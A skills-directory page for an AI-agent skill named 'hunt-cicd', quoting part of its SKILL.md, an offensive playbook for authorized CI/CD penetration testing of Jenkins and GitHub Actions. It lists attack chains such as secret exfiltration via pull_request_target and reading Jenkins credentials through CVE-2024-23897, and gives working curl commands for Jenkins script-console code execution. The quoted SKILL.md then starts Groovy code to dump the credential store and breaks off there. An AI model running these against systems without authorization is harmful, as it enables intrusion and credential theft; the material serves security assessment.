hunt-cicd
What it does
This tool helps find security flaws in Continuous Integration and Continuous Delivery (CI/CD) systems like Jenkins and GitHub Actions. It looks for ways to improperly access sensitive information or control these systems.
When to use it
- βWhen auditing the security of a Jenkins server.
- βWhen checking the security of GitHub Actions workflows.
- βTo understand risks in CI/CD pipelines.
Skill link
https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-cicd/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agentβs skills folder.
Example of what to ask your AI
βHunt for Jenkins vulnerabilities on 'example.com'β
5 new skills a week. 1 minute to read.
How it works
The tool interacts with CI/CD systems to identify dangerous configurations or known flaws. It checks if it's possible to run commands without permission or read sensitive files.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
β οΈ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.
Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
- Ask the user to state the exact target URL, IP, account, or resource.
- Ask the user to confirm written authorization and the permitted scope.
- Show the exact command(s) and explain their expected effect.
- Wait for explicit confirmation in the current conversation.
Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
HUNT-CICD β CI/CD Pipeline Security
Crown Jewel Targets
Jenkins /script console reachable = immediate RCE. A GitHub Actions pull_request_target (or workflow_run) workflow that checks out the PR head ref and references untrusted ${{ github.event.* }} in a shell run: = "Pwnrequest" β secret exfil from a fork PR with zero approval.
Highest-value findings:
- Jenkins Script Console β Groovy execution β full RCE β dump the credential store
- Jenkins CLI file read (CVE-2024-23897) β pre-auth
@/etc/passwdarg expansion β readsecret.key/credentials.xmlβ forge admin β RCE - GitHub Actions
pull_request_targetinjection (Pwnrequest) β fork PR controls${{ }}inside a privileged shell step β exfilGITHUB_TOKEN(oftencontents:write) and org secrets - Self-hosted runner poisoning β non-ephemeral runner on a public repo executes a fork PR's build β attacker code runs on the runner host β persistence + secret theft
- OIDC trust-policy abuse β over-broad
subclaim wildcard in an AWS IAM role trust policy β any workflow in the org assumes a privileged cloud role - Terraform state leakage β
*.tfstatein public S3/GCS/Blob β plaintext infra creds, DB passwords, private keys - Runner token / artifact / log leakage β register attacker runner, or harvest secrets printed before
::add-mask::
"It-Didn't-Happen-Without-Proof" Gate (Read First)
CI/CD findings are over-reported because dashboards look exploitable. Before claiming anything:
- A login page is not an RCE. A reachable
/scriptURL that returns a Jenkins login or403is not an unauthenticated script console. Only an actualscriptTextPOST returning your command's output counts. - A
pull_request_targetworkflow is not automatically injectable. It is only exploitable if untrusted data flows into an execution sink. Confirm the data flow (see FP section) before you ever open a PR. - Blind injection requires OOB. If the vulnerable step has no output you can read, you MUST confirm via Burp Collaborator / interactsh β a unique per-sink subdomain that the runner calls out to. A workflow that "ran green" is not proof your code executed.
- A
.tfstateHTTP 200 is not cred exposure until you parse it. Diff against a baseline (see FP section) β manytfstatefiles contain only resource IDs and outputs, no secrets.
Phase 1 β Jenkins: Detection, Script Console, CVE-2024-23897
# Fingerprint β the X-Jenkins header leaks the exact version (drives CVE selection)
curl -sI "https://$TARGET/" | grep -iE "x-jenkins|x-hudson"
curl -sI "https://$TARGET/login" | grep -i "x-jenkins-session"
for p in /script /jenkins/script /ci/script /scriptText /jenkins/scriptText; do
code=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$p")
echo "$p -> $code" # 200 on /script == anon script console; 403/401 == auth required (NOT a finding alone)
done
Unauthenticated script console β RCE (only if the POST returns output):
# This must return uid=...(jenkins). If it returns the Jenkins login HTML or a
# Crowd/SSO error page, the console is NOT anon-accessible β do not report it.
curl -s -X POST "https://$TARGET/scriptText" \
--data-urlencode 'script=println "id".execute().text'
Dump the credential store (Groovy decrypts secrets the UI masks):
import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials
import org.jenkinsci.plugins.plaincredentials.StringCredentials
β¦
FAQ
What is CI/CD?
CI/CD stands for Continuous Integration and Continuous Delivery. These are practices used to automate the building, testing, and deployment of software. Think of it as an assembly line for code.
What is RCE?
RCE stands for Remote Code Execution. It's a serious security flaw that allows an attacker to run commands on someone else's system.
Why do I need permission to use this tool?
This tool can be used to find security weaknesses. Using it without permission on systems that aren't yours is illegal and unethical. It's like using a master key without authorization.
Details
Original description by the author
Hunt CI/CD pipeline vulnerabilities
Popularity
- GitHub stars
- 48k
- Ranking position
- #4862
- License
- MIT
- Updated
- 10/15/2026
Comments
- β¦
More skills from this repository
00-andruia-consultant
48kHelps your agent start or improve AI projects. It analyzes code, suggests tools, and creates action plans in Spanish.
007
48kLets your agent perform security audits and threat modeling. It's useful for protecting projects against attacks and vulnerabilities.
10-andruia-skill-smith
48kHelps your agent create or improve AI tools. It defines how tools work, writes documentation, and validates the structure.
20-andruia-niche-intelligence
48kLets your agent create a summary about a specific industry. It's useful for understanding the context, rules, usage patterns, and risks of a project, using reliable sources.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.